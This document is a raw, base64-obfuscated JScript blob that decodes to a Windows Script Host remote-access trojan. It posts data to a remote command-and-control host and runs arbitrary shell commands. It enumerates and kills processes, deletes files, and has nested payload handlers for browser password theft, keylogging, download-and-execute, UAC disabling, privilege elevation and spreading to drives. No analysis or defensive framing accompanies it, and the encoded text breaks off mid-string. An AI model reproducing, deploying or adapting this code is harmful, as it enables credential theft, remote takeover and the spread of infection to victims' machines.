YmplY3QoIm1zeG1sMi54bWxodHRwIik7DQpodHRwb2JqLm9wZW4oInBvc3QiLCJodHRwOi8vIiArIGhvc3QgKyAiOiIgKyBwb3J0ICsiLyIgKyByZXRjbWQsIGZhbHNlKTsNCmh0dHBvYmouc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLCBpbmZvcm1hdGlvbigpKTsNCmh0dHBvYmouc2VuZChidWZmZXIpOw0KfWNhdGNoKGVyKXsNCnVwZGF0ZXN0YXR1cygiVXBsb2FkK0ZhaWxlZCIpOw0KfQ0KfQ0KZnVuY3Rpb24gZGVsZXRlZmFmICh1cmwpew0KdHJ5ew0KZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKHVybCk7DQpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZvbGRlcih1cmwpOw0KfWNhdGNoKGVycil7fQ0KfQ0KZnVuY3Rpb24gY21kc2hlbGwgKGNtZCl7DQp2YXIgaHR0cG9iaixvZXhlYyxyZWFkYWxsZnJvbWFueTsNCnZhciBzdHJzYXZldG8gPSBpbnN0YWxsZGlyICsgIm91dC50eHQiOw0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2MgIiArIGNtZCArICIgPiBcIiIgKyBzdHJzYXZldG8gKyAiXCIiLCAwLCB0cnVlKTsNCnJlYWRhbGxmcm9tYW55ID0gZmlsZXN5c3RlbW9iai5vcGVuVGV4dEZpbGUoc3Ryc2F2ZXRvKS5yZWFkQWxsKCk7DQp0cnl7DQpmaWxlc3lzdGVtb2JqLmRlbGV0ZUZpbGUoc3Ryc2F2ZXRvKTsNCn1jYXRjaChlZSl7fQ0KcmV0dXJuIHJlYWRhbGxmcm9tYW55Ow0KfQ0KZnVuY3Rpb24gZW51bXByb2Nlc3MoKXsNCnZhciBlcCA9ICIiOw0KdHJ5ew0KdmFyIG9iandtaXNlcnZpY2UgPSBHZXRPYmplY3QoIndpbm1nbXRzOlxcXFwuXFxyb290XFxjaW12MiIpOw0KdmFyIGNvbGl0ZW1zID0gb2Jqd21pc2VydmljZS5FeGVjUXVlcnkoInNlbGVjdCAqIGZyb20gd2luMzJfcHJvY2VzcyIsbnVsbCw0OCk7DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoY29saXRlbXMpOyAhZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgb2JqaXRlbSA9IGZpLml0ZW0oKTsNCmVwID0gZXAgKyBvYmppdGVtLm5hbWUgKyAiXiI7DQplcCA9IGVwICsgb2JqaXRlbS5wcm9jZXNzSWQgKyAiXiI7DQplcCA9IGVwICsgb2JqaXRlbS5leGVjdXRhYmxlUGF0aCArIHNwbGl0ZXI7DQp9DQp9Y2F0Y2goZXIpe30NCnJldHVybiBlcDsNCn0NCmZ1bmN0aW9uIGV4aXRwcm9jZXNzIChwaWQpew0KdHJ5ew0Kc2hlbGxvYmoucnVuKCJ0YXNra2lsbCAvRiAvVCAvUElEICIgKyBwaWQsMCx0cnVlKTsNCn1jYXRjaChlcnIpe30NCn0NCmZ1bmN0aW9uIGdldFBhcmVudERpcmVjdG9yeShwYXRoKXsNCnZhciBmbyA9IGZpbGVzeXN0ZW1vYmouZ2V0RmlsZShwYXRoKTsNCnJldHVybiBmaWxlc3lzdGVtb2JqLmdldFBhcmVudEZvbGRlck5hbWUoZm8pOw0KfQ0KZnVuY3Rpb24gZW51bWZhZiAoZW51bWRpcil7DQp2YXIgcmUgPSAiIjsNCnRyeXsNCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdldEZvbGRlciAoZW51bWRpcikuc3ViZm9sZGVycyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnZhciBmb2xkZXIgPSBmaS5pdGVtKCk7DQpyZSA9IHJlICsgZm9sZGVyLm5hbWUgKyAiXl5kXiIgKyBmb2xkZXIuYXR0cmlidXRlcyArIHNwbGl0ZXI7DQp9DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRGb2xkZXIgKGVudW1kaXIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdmFyIGZpbGUgPSBmaS5pdGVtKCk7DQpyZSA9IHJlICsgZmlsZS5uYW1lICsgIl4iICsgZmlsZS5zaXplICsgIl4iICsgZmlsZS5hdHRyaWJ1dGVzICsgc3BsaXRlcjsNCn0NCn1jYXRjaChlcnIpe30NCnJldHVybiByZTsNCn0NCg== -------------------------- try{ var longText1 = "ZnVuY3Rpb24gYmdmdHJld2FzKCl7CglyZXR1cm4gWyJMeTg4V3lCeVpXTnZaR1Z5SURvZ2EyOW5ibWwwYnk+PiVvWXlrZ2MydDVjR1VnT2lCc2FYWmxPblZ1YTI1dmQyNHVjMkZzWlhNMk5DQmRQZ29LTHk4OUxUMHRQUzA5TFQwZ1kyOXVabWxuSUQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUNncDJZWElnYUc5emRDPj4lOUlDSndiSFZuYVc1emNuWXVaSFZqYTJSdWN5NXZjbWNpT3dwMllYSWdjRzl5ZEM+PiU5SURjM05UWTdDblpoY2lCcGJuTjBZV3hzWkdseUlEMGdJaVZoY0hCa1lYUmhKU0k3Q25aaGNpQnlkVzVCYzBGa2JXbHVJRDBnWm1Gc2MyVTdDblpoY2lCc2JtdG1hV3hsSUQwZ2RISjFaVHNLZG1GeUlHeHVhMlp2YkdSbGNpPj4lOUlIUnlkV1U3Q2dwcFppaHlkVzVCYzBGa2JXbHVJRDA5SUhSeWRXVXBld29KYzNSaGNuUjFjRVZzWlhaaGRHVW9LVHNLZlFwcFppaFhVMk55YVhCMExrRnlaM1Z0Wlc1MGN5NU9ZVzFsWkM1RmVHbHpkSE1vSW1Wc1pYWmhkR1ZrSWlrZ1BUMGdkSEoxWlNsN0NnbGthWE5oWW14bFUyVmpkWEpwZEhrb0tUc0tmUW92THowdFBTMDlMVDB0UFNCd2RXSnNhV01nZG1GeUlEMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwS0NuWmhjaUJ6YUdWc2JHOWlhaT4+JTlJRmRUWTNKcGNIUXVZM0psWVhSbFQySnFaV04wS0NKM2MyTnlhWEIwTG5Ob1pXeHNJaWs3Q25aaGNpQm1hV3hsYzNsemRHVnRiMkpxSUQwZ1YxTmpjbWx3ZEM1amNtVmhkR1ZQWW1wbFkzUW9Jbk5qY21sd2RHbHVaeTVtYVd4bGMzbHpkR1Z0YjJKcVpXTjBJaWs3Q25aaGNpQm9kSFJ3YjJKcUlEMGdWMU5qY21sd2RDNWpjbVZoZEdWUFltcGxZM1FvSW0xemVHMXNNaTU0Yld4b2RIUndJaWs3Q2dvS0x5ODlMVDB0UFMwOUxUMGdjSEpwZG1GMElIWmhjaT4+JTlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFFvS2RtRnlJR2x1YzNSaGJHeHVZVzFsSUQwZ1YxTmpjbWx3ZEM1elkzSnBjSFJPWVcxbE93cDJZWElnYzNSaGNuUjFjQz4+JTlJSE5vWld4c2IySnFMbk53WldOcFlXeEdiMnhrWlhKektDSnpkR0Z5ZEhWd0lpa2dLeT4+JWlYRndpT3dwcGJuTjBZV3hzWkdseUlEMGdjMmhsYkd4dlltb3VSWGh3WVc1a1JXNTJhWEp2Ym0xbGJuUlRkSEpwYm1kektHbHVjM1JoYkd4a2FYSXBJQ3NnSWx4Y0lqc0thV1lvSVdacGJHVnplWE4wWlcxdlltb3VabTlzWkdWeVJYaHBjM1J6S0dsdWMzUmhiR3hrYVhJcEtYc2dJR2x1YzNSaGJHeGthWElnUFNCemFHVnNiRzlpYWk1RmVIQmhibVJGYm5acGNtOXViV1Z1ZEZOMGNtbHVaM01vSWlWMFpXMXdKU0lwSUNzZ0lseGNJanQ5Q25aaGNpQnpjR3hwZEdWeUlEMGdJbndpT3dwMllYSWdjMlJyY0dGMGFDPj4lOUlHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJScklqc0tkbUZ5SUhOa2EyWnBiR1VnUFNCelpHdHdZWFJvSUNzZ0lseGNJaT4+JXJJR05vY2lneE1USXBJQ3NnWTJoeUtERXlNU2tnS3lCamFISW9NVEUyS1M+PiVySUdOb2NpZ3hNRFFwSUNzZ1kyaHlLREV4TVNrZ0t5QmphSElvTVRFd0tTPj4lcklHTm9jaWcwTmlrZ0t5QmphSElvTVQ+PiV4S1M+PiVySUdOb2NpZ3hNaj4+JXBJQ3NnWTJoeUtERXdNU2s3Q25aaGNpQnpiR1ZsY0M+PiU5SURVd01EPj4lN0k+PiVwMllYSWdjbVZ6Y0c5dWMyVXNJR050WkN3Z2NHRnlZVzBzSUc5dVpXOXVZMlU3Q2dwMllYSWdhVzVtSUQwZ0lpSTdDblpoY2lCMWMySnpjSEpsWVdScGJtY2dQUz4+JWlJanNLZG1GeUlITjBZWEowWkdGMFpTPj4lOUlDSWlPd29LTHk4OUxUMHRQUzA5TFQwZ1kyOWtaU0J6ZEdGeWRDPj4lOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUW9LYVc1emRHRnVZMlVvS1RzS0NuZG9hV3hsS0hSeWRXVXBld29KZEhKNWV3b0pDV2x1YzNSaGJHd29LVHNLQ2drSmNtVnpjRzl1YzJVZ1BTPj4laUlqc0tJQz4+JWdJQz4+JWdJQ0J5WlhOd2IyNXpaUz4+JTlJSEJ2YzNRZ0tDSnBjeTF5WldGa2VTSXNJaUlwT3dvSkNXTnRaQz4+JTlJSEpsYzNCdmJuTmxMbk53YkdsMEtITndiR2wwWlhJcE93b0pDWE4zYVhSamFDaGpiV1JiTUYwcGV3b2dJQz4+JWdJQz4+JWdJQz4+JWdJQ0JqWVhObElDSmthWE5qYjI1dVpXTjBJam9LQ1FrSkNTPj4lZ1YxTmpjbWx3ZEM1eGRXbDBLQ2s3Q2drSkNRa2dJR0p5WldGck93b0pDUWxqWVhObElDSnlaV0p2YjNRaU9nb0pDUWtKSUNCemFHVnNiRzlpYWk1eWRXNG9JaVZqYjIxemNHVmpKUz4+JXZZeUJ6YUhWMFpHOTNiaT4+JXZjaT4+JXZkQz4+JXdJQzltSWl3Z01Dd2dkSEoxWlNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0p6YUhWMFpHOTNiaUk2Q2drSkNRa2dJSE5vWld4c2IySnFMbkoxYmlnaUpXTnZiWE53WldNbElDOWpJSE5vZFhSa2IzZHVJQzl6SUM5MElEPj4lZ0wyWWlMQz4+JXdMQ0IwY25WbEtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR05oYzJVZ0ltVjRZMlZqZFhSbElqb0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdjR0Z5WVcwZ1BTQmpiV1JiTVYwN0Nna0pDUWtnSUdWMllXd29jR0Z5WVcwcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWlhVzV6ZEdGc2JDMXpaR3NpT2dvSkNRa0pJQ0JwYm5OMFlXeHNjMlJyS0NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0puWlhRdGNHRnpjeUk2Q2drSkNRa2dJSEJoYzNObmNtRmlZbVZ5S0dOdFpGc3hYU3dnSW1OdFpHTXVaWGhsSWl3Z1kyMWtXekpkS1RzS0NRa0pDUz4+JWdZbkpsWVdzN0Nna0pDV05oYzJVZ0ltZGxkQzF3WVhOekxXOW1abXhwYm1VaU9nb0pDUWtKSUNCd1lYTnpaM0poWW1KbGNpaGpiV1JiTTEwc0lDSmpiV1JqTG1WNFpTSXNJQ0pwWlNJcE93b0pDUWtKSUNCd1lYTnpaM0poWW1KbGNpZ2liblZzYkNJc0lDSmpiV1JqTG1WNFpTSXNJQ0pqYUhKdmJXVWlLVHNLQ1FrSkNTPj4lZ2NHRnpjMmR5WVdKaVpYSW9JbTUxYkd3aUxDPj4laVkyMWtZeTVsZUdVaUxDPj4laWJXOTZhV3hzWVNJcE93b0pDUWtKSUNCd1lYTnpaM0poWW1KbGNqSW9ZMjFrV3pGZExDPj4laVkyMWtZeTVsZUdVaUxDQmpiV1JiTWwwcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWlkWEJrWVhSbElqb0tDUWtKQ1M+PiVnY0dGeVlXMGdQU0J5WlhOd2IyNXpaUzV6ZFdKemRISW9jbVZ6Y0c5dWMyVXVhVzVrWlhoUFppZ2lmQ0lwSUNzZ01TazdDZ2tKQ1FrZ0lHOXVaVzl1WTJVdVkyeHZjMlVvS1RzS0NRa0pDUz4+JWdiMjVsYjI1alpTPj4lOUlHWnBiR1Z6ZVhOMFpXMXZZbW91YjNCbGJsUmxlSFJHYVd4bEtHbHVjM1JoYkd4a2FYSWdLeUJwYm5OMFlXeHNibUZ0WlM+PiVzTWl3Z1ptRnNjMlVwT3dvSkNRa0pJQ0J2Ym1WdmJtTmxMbmR5YVhSbEtIQmhjbUZ0S1RzS0NRa0pDUz4+JWdiMjVsYjI1alpTNWpiRzl6WlNncE93b0pDUWtKSUNCemFHVnNiRzlpYWk1eWRXNG9JbmR6WTNKcGNIUXVaWGhsSUM4dlFpQmNJaUlnS3lCcGJuTjBZV3hzWkdseUlDc2dhVzV6ZEdGc2JHNWhiV1VnS3k+PiVpWENJaUtUc0tDUWtKQ1M+PiVnVjFOamNtbHdkQzV4ZFdsMEtDazdDZ2tKQ1dOaGMyVWdJblZ1YVc1emRHRnNiQ0k2Q2drSkNRa2dJSFZ1YVc1emRHRnNiQ2dwT3dvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTPj4laWRYPj4ldGJpMWxlR1ZqSWpvS0NRa0pDUz4+JWdaRzkzYm14dllXUW9ZMjFrV3pGZExHTnRaRnN5WFNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0ppY21sdVp5MXNiMmNpT2dvSkNRa0pJQ0IxY0d4dllXUW9hVzV6ZEdGc2JHUnBjaT4+JXJJQ0ozYzJoc2IyZHpYRndpSUNzZ1kyMWtXekZkTEM+PiVpZEdGclpTMXNiMmNpS1RzS0NRa0pDUz4+JWdZbkpsWVdzN0Nna0pDV05oYzJVZ0ltUnZkMjR0YmkxbGVHVmpJam9LQ1FrSkNTPj4lZ2MybDBaV1J2ZDI1c2IyRmtaWElvWTIxa1d6RmRMR050WkZzeVhTazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUM+PiVpWm1sc1pXMWhibUZuWlhJaU9nb0pDUWtKSUNCelpYSjJhV05sYzNSaGNuUmxjaWhqYldSYk1WMHNJQ0ptYlMxd2JIVm5hVzR1WlhobElpd2dhVzVtYjNKdFlYUnBiMjRvS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWljbVJ3SWpvS0NRa0pDUz4+JWdjMlZ5ZG1salpYTjBZWEowWlhJb1kyMWtXekZkTEM+PiVpY21RdGNHeDFaMmx1TG1WNFpTSXNJR2x1Wm05eWJXRjBhVzl1S0NrcE93b0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWdJbXRsZVd4dloyZGxjaUk2Q2drSkNRa2dJR3RsZVd4dloyZGxjbk4wWVhKMFpYSW9ZMjFrV3pGZExDPj4laWEyd3RjR3gxWjJsdUxtVjRaU0lzSUdsdVptOXliV0YwYVc5dUtDa3NJRD4+JXBPd29KQ1FrSklDQmljbVZoYXpzS0NRa0pZMkZ6WlM+PiVnSW05bVpteHBibVV0YTJWNWJHOW5aMlZ5SWpvS0NRa0pDUz4+JWdhMlY1Ykc5bloyVnljM1JoY25SbGNpaGpiV1JiTVYwc0lDSnJiQzF3YkhWbmFXNHVaWGhsSWl3Z2FXNW1iM0p0WVhScGIyNG9LU3dnTVNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlZbkp2ZDNObExXeHZaM01pT2dvSkNRa0pJQ0J3YjNOMEtDSnBjeTFzYjJkeklpd2daVzUxYldaaFppaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFHeHZaM01pS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlZMjFrTFhOb1pXeHNJam9LQ1FrSkNTPj4lZ2NHRnlZVzBnUFNCamJXUmJNVjA3Q2drSkNRa2dJSEJ2YzNRb0ltbHpMV050WkMxemFHVnNiQ0lzWTIxa2MyaGxiR3dvY0dGeVlXMHBLVHNLQ1FrSkNTPj4lZ1luSmxZV3M3Q2drSkNXTmhjMlVnSUNKblpYUXRjSEp2WTJWemMyVnpJam9LQ1FrSkNTPj4lZ2NHOXpkQ2dpYVhNdGNISnZZMlZ6YzJWeklpd2daVzUxYlhCeWIyTmxjM01vS1NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQz4+JWlaR2x6WVdKc1pTMTFZV01pT2dvSkNRa0pJQ0JrYVhOaFlteGxVMlZqZFhKcGRIa29LVHNLQ1FrSkNTPj4lZ2RYQmtZWFJsYzNSaGRIVnpLQ0pWUVVNclJHbHpZV0pzWldRcktGSmxZbTl2ZEN0U1pYRjFhWEpsWkNraUtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0pqYUdWamF5MWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LR1pwYkdWemVYTjBaVzF2WW1vdVptbHNaVVY0YVhOMGN5aGpiV1JiTVYwcEtYc0tDUWtKQ1FsMWNHUmhkR1Z6ZEdGMGRYTW9Ja2x6SzBWc2FXZHBZbXhsSWlrN0Nna0pDUWtnSUgxbGJITmxld29KQ1FrSkNYVndaR0YwWlhOMFlYUjFjeWdpVG05MEswVnNhV2RwWW14bElpazdDZ2tKQ1FrZ0lIMEtDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0ptYjNKalpTMWxiR2xuYVdKc1pTSTZDZ2tKQ1FrZ0lHbG1LRmRUWTNKcGNIUXVRWEpuZFcxbGJuUnpMazVoYldWa0xrVjRhWE4wY3lnaVpXeGxkbUYwWldRaUtTPj4lOVBTQjBjblZsS1hzS0NRa0pDUWxwWmlobWFXeGxjM2x6ZEdWdGIySnFMbVp2YkdSbGNrVjRhWE4wY3loamJXUmJNVjBwS1hzS0NRa0pDUWtKYzJobGJHeHZZbW91Y25WdUtDSWxZMjl0YzNCbFl5VWdMMk1nSWk+PiVySUdOdFpGc3lYU3dnTUN3Z2RISjFaU2s3Q2drSkNRa0pDWFZ3WkdGMFpYTjBZWFIxY3lnaVUxVkRRMFZUVXlJcE93b0pDUWtKQ1gxbGJITmxld29KQ1FrSkNRbDFjR1JoZEdWemRHRjBkWE1vSWtOdmJYQnZibVZ1ZEN0TmFYTnphVzVuSWlrN0Nna0pDUWtKZlFvSkNRa0pJQ0I5Q2drSkNRa2dJR1ZzYzJWN0Nna0pDUWtKZFhCa1lYUmxjM1JoZEhWektDSkZiR1YyWVhScGIyNHJVbVZ4ZFdseVpXUWlLVHNLQ1FrSkNTPj4lZ2ZRb0pDUWtKSUNCaWNtVmhhenNLQ1FrSlkyRnpaUz4+JWdJbVZzWlhaaGRHVWlPZ29KQ1FrSklDQnBaaWhYVTJOeWFYQjBMa0Z5WjNWdFpXNTBjeTVPWVcxbFpDNUZlR2x6ZEhNb0ltVnNaWFpoZEdWa0lpa2dQVDBnWm1Gc2MyVXBld29KQ1FrSkNYUnllWHNLQ1FrSkNRa2dJRzl1Wlc5dVkyVXVZMnh2YzJVb0tUc0tDUWtKQ1FrZ0lHOXVaVzl1WTJVZ1BTQnVkV3hzT3dvSkNRa0pDUz4+JWdWMU5qY21sd2RDNURjbVZoZEdWUFltcGxZM1FvSWxOb1pXeHNMa0Z3Y0d4cFkyRjBhVzl1SWlrdVUyaGxiR3hGZUdWamRYUmxLQ0ozYzJOeWFYQjBMbVY0WlNJc0lDSWdMeTlDSUZ3aUlpPj4lcklGZFRZM0pwY0hRdVUyTnlhWEIwUm5Wc2JFNWhiV1VnS3k+PiVpWENJZ0wyVnNaWFpoZEdWa0lpd2dJaUlzSUNKeWRXNWhjeUlzSURFcE93b0pDUWtKQ1M+PiVnZFhCa1lYUmxjM1JoZEhWektDSkRiR2xsYm5RclJXeGxkbUYwWldRaUtUc0tDUWtKQ1FsOVkyRjBZMmdvYm00cGV3b0pDUWtKQ1gwS0NRa0pDUWxYVTJOeWFYQjBMbkYxYVhRb0tUc0tDUWtKQ1M+PiVnZlFvSkNRa0pJQ0JsYkhObGV3b0pDUWtKSUM+PiVKSUNCMWNHUmhkR1Z6ZEdGMGRYTW9Ja05zYVdWdWRDdEZiR1YyWVhSbFpDSXBPd29KQ1FrSklDQjlDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUM+PiVpYVdZdFpXeGxkbUYwWlNJNkNna0pDUWtnSUdsbUtGZFRZM0pwY0hRdVFYSm5kVzFsYm5SekxrNWhiV1ZrTGtWNGFYTjBjeWdpWld4bGRtRjBaV1FpS1M+PiU5UFNCbVlXeHpaU2w3Q2drSkNRa0pJQ0IxY0dSaGRHVnpkR0YwZFhNb0lrTnNhV1Z1ZEN0T2IzUXJSV3hsZG1GMFpXUWlLVHNLQ1FrSkNTPj4lZ2ZRb0pDUWtKSUNCbGJITmxld29KQ1FrSklDPj4lSklDQjFjR1JoZEdWemRHRjBkWE1vSWtOc2FXVnVkQ3RGYkdWMllYUmxaQ0lwT3dvSkNRa0pJQ0I5Q2drSkNRa2dJR0p5WldGck93b0pDUWxqWVhObElDPj4laWEybHNiQzF3Y205alpYTnpJam9LQ1FrSkNTPj4lZ1pYaHBkSEJ5YjJObGMzTW9ZMjFrV3pGZEtUc0tDUWtKQ1M+PiVnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0p6YkdWbGNDSTZDZ2tKQ1FrZ0lIQmhjbUZ0SUQwZ1kyMWtXekZkT3dvSkNRa0pJQ0J6YkdWbGNDPj4lOUlHVjJZV3dvY0dGeVlXMHBPd29nSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCaWNtVmhhenNLQ1FsOUNna0pDZ2w5WTJGMFkyZ29aWElwZTMwS0NWZFRZM0pwY0hRdWMyeGxaWD4+JW9jMnhsWlg+PiVwT3dwOUNncG1kVzVqZEdsdmJpQnBibk4wWVd4c2MyUnJLQ2w3Q2dsMGNubDdDZ2tKZG1GeUlITmthM1Z5YkM+PiU5SUhCdmMzUW9JbTF2ZWkxelpHc2lMQz4+JWlJaWs3Q2drSmRtRnlJRzlpYW1oMGRIQmtiM2R1Ykc5aFpDPj4lOUlGZFRZM0pwY0hRdVEzSmxZWFJsVDJKcVpXTjBLQ0p0YzNodGJESXVlRzFzYUhSMGNDSXBPd29KQ1c5aWFtaDBkSEJrYjNkdWJHOWhaQzV2Y0dWdUtDSm5aWFFpTENCelpHdDFjbXdzSUdaaGJITmxLVHNLQ1FsdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWMFVtVnhkV1Z6ZEVobFlXUmxjaWdpWTJGamFHVXRZMjl1ZEhKdmJEb2lMQz4+JWliV0Y0TFdGblpUMHdJaWs3Q2drSmIySnFhSFIwY0dSdmQyNXNiMkZrTG5ObGJtUW9LVHNLQ2drSmFXWW9abWxzWlhONWMzUmxiVzlpYWk1bWFXeGxSWGhwYzNSektHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJSckxucHBjQ0lwS1hzS0NRa0pabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHbHVjM1JoYkd4a2FYSWdLeT4+JWlkM05vYzJSckxucHBjQ0lwT3dvSkNYMEtDUWtnQ2drSmFXWWdLRzlpYW1oMGRIQmtiM2R1Ykc5aFpDNXpkR0YwZFhNZ1BUMGdNaj4+JXdLWHNLQ1FrZ0lIUnllWHNLQ1FrZ0lDQjJZWElnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ1YxTmpjbWx3ZEM1RGNtVmhkR1ZQWW1wbFkzUW9JbUZrYjJSaUxuTjBjbVZoYlNJcE93b0pDUz4+JWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtMbFI1Y0dVZ1BTPj4leE95Pj4lS0NRa2dJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVQY0dWdUtDazdDZ2tKSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VjNKcGRHVW9iMkpxYUhSMGNHUnZkMjVzYjJGa0xuSmxjM0J2Ym5ObFFtOWtlU2s3Q2drSklDPj4lZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRdVUyRjJaVlJ2Um1sc1pTaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFITmtheTU2YVg+PiVpS1RzS0NRa2dJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVqYkc5elpTZ3BPd29KQ1M+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1FrZ0lIMWpZWFJqYUNobGVpbDdDZ2tKQ1FvSkNTPj4lZ2ZRb0pDWDBLQ1FscFppaG1hV3hsYzNsemRHVnRiMkpxTG1acGJHVkZlR2x6ZEhNb2FXNXpkR0ZzYkdScGNpPj4lcklDSjNjMmh6WkdzdWVtbHdJaWtwZXdvSkNRa3ZMM1Z1ZW1sd0lIUm9aU0JtYVd4bEk+PiVvSkNRbFZibHBwY0NocGJuTjBZV3hzWkdseUlDc2dJbmR6YUhOa2F5NTZhWD4+JWlMQ0J6Wkd0d1lYUm9LVHNLQ1FrSmRYQmtZWFJsYzNSaGRIVnpLQ0pUUkVzclNXNXpkR0ZzYkdWa0lpazdDZ2tKZlFvSmZXTmhkR05vS0dWeWNpbDdmUXA5Q2dwbWRXNWpkR2x2YmlCcGJuTjBZV3hzS0NsN0NuWmhjaUJzYm10dlltbzdDblpoY2lCbWFXeGxibUZ0WlRzS2RtRnlJR1p2YkdSbGNtNWhiV1U3Q25aaGNpQm1hV3hsYVdOdmJqc0tkbUZ5SUdadmJHUmxjbWxqYjI0N0NncDFjSE4wWVhKMEtDazdDZ3BtYjNJb2RtRnlJR1J5YVM+PiU5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR1pwYkdWemVYTjBaVzF2WW1vdVpISnBkbVZ6S1RzZ0lXUnlhUzVoZEVWdVpDZ3BPeUJrY21rdWJXOTJaVTVsZUhRb0tTbDdDblpoY2lCa2NtbDJaUz4+JTlJR1J5YVM1cGRHVnRLQ2s3Q21sbUlDaGtjbWwyWlM1cGMzSmxZV1I1SUQwOUlIUnlkV1VwZXdwcFppPj4lb1pISnBkbVV1Wm5KbFpYTndZV05sSUQ0Z01DPj4lcGV3cHBaaT4+JW9aSEpwZG1VdVpISnBkbVYwZVhCbElEMDlJREVnS1hzS0NYUnllWHNLQ1FsbWFXeGxjM2x6ZEdWdGIySnFMbU52Y0hsR2FXeGxLRmRUWTNKcGNIUXVjMk55YVhCMFJuVnNiRTVoYldVZ0xDQmtjbWwyWlM1d1lYUm9JQ3NnSWx4Y0lpPj4lcklHbHVjM1JoYkd4dVlXMWxMSFJ5ZFdVcE93b0pDV2xtSUNobWFXeGxjM2x6ZEdWdGIySnFMbVpwYkdWRmVHbHpkSE1nS0dSeWFYWmxMbkJoZEdnZ0t5Pj4laVhGd2lJQ3NnYVc1emRHRnNiRzVoYldVcEtYc0tDUWtKWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUM+PiVySUdsdWMzUmhiR3h1WVcxbEtTNWhkSFJ5YVdKMWRHVnpJRDBnTWlzME93b0pDWDBLQ1gxallYUmphQ2hsYVdwMUtYdDlDaT4+JWdJQ0JtYjNJb2RtRnlJR1pwSUQwZ2JtVjNJRVZ1ZFcxbGNtRjBiM0lvWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJtYjJ4a1pYSW9aSEpwZG1VdWNHRjBhQz4+JXJJQ0pjWENJcExtWnBiR1Z6S1RzZ0lXWnBMbUYwUlc1a0tDazdJR1pwTG0xdmRtVk9aWGgwS0NrcGV3b0pDWFJ5ZVhzS0NRbDJZWElnWm1sc1pTPj4lOUlHWnBMbWwwWlcwb0tUc0tJQz4+JWdJQz4+JWdJQ0JwWmk+PiVvYkc1clptbHNaUz4+JTlQU0JtWVd4elpTbDdZbkpsWVdzN2ZRb2dJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxMbTVoYldVdWFXNWtaWGhQWmlnaUxpSXBLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnYVdZZ0tDaG1hV3hsTG01aGJXVXVjM0JzYVhRb0lpNGlLVnRtYVd4bExtNWhiV1V1YzNCc2FYUW9JaTRpS1M1c1pXNW5kR2dnTFM+PiV4WFNrdWRHOU1iM2RsY2tOaGMyVW9LUz4+JWhQUz4+JWliRzVySWlsN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQm1hV3hsTG1GMGRISnBZblYwWlhNZ1BTPj4leUt6UTdDaT4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0JwWmk+PiVvWm1sc1pTNXVZVzFsTG5SdlZYQndaWEpEWVhObEtDa2dJVDBnYVc1emRHRnNiRz